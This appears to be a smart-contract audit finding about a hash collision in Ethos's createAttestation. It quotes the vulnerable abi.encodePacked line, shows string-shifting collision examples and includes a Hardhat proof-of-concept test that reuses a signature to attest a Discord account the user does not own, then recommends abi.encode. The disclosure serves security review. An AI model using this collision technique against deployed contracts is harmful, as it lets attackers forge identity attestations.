Square Pistachio Unicorn
High
createAttestation
uses the functions: _keccakForCreateAttestation
and getServiceAndAccountHash
, which both apply keccak256
to abi.encodePacked
output. Both functions accept strings as their input parameters, as such when abi.encodePacked
concatenates them, there is an ambiguity where one string ends and starts.
return keccak256(abi.encodePacked(profileId, randValue, account, service, evidence));
Thus it is possible to "move" the string values, while still generating the same hash output (and same valid signature
)
'real_user' + 'discord.com' + 'discord.com/my_evidence_url'
==
'real_userdiscord.com' + 'discord.com' + '/my_evidence_url'
or
'real_user' + 'spacex.com' + 'spacex.com/my_evidence_url'
==
'real_userspace' + 'x.com' + 'spacex.com/my_evidence_url'
No response
No response
No response
- Profile owner can claim digital identities he does not own. Supported online platforms, and their naming in the system, will affect exploitability.
// EthosAttestation.test.ts
it.only('hash_collision', async () => {
const {
OWNER,
PROFILE_CREATOR_0,
ethosProfile,
ethosAttestation,
EXPECTED_SIGNER,
} = await loadFixture(deployFixture);
await ethosProfile.connect(OWNER).inviteAddress(PROFILE_CREATOR_0.address);
await ethosProfile.connect(PROFILE_CREATOR_0).createProfile(1);
const creator0profileId = String(
await ethosProfile.profileIdByAddress(PROFILE_CREATOR_0.address),
);
const randValue = '123';
const signature = await common.signatureForCreateAttestation(
creator0profileId,
randValue,
'real_user',
'discord.com',
'discord.com/my_evidence_url',
EXPECTED_SIGNER,
);
await
ethosAttestation
.connect(PROFILE_CREATOR_0)
.createAttestation(
creator0profileId,
randValue,
{ account: 'real_userdiscord.com', service: 'discord.com' }, // bug : should fail
'/my_evidence_url',
signature,
);
});
Use abi.encode
.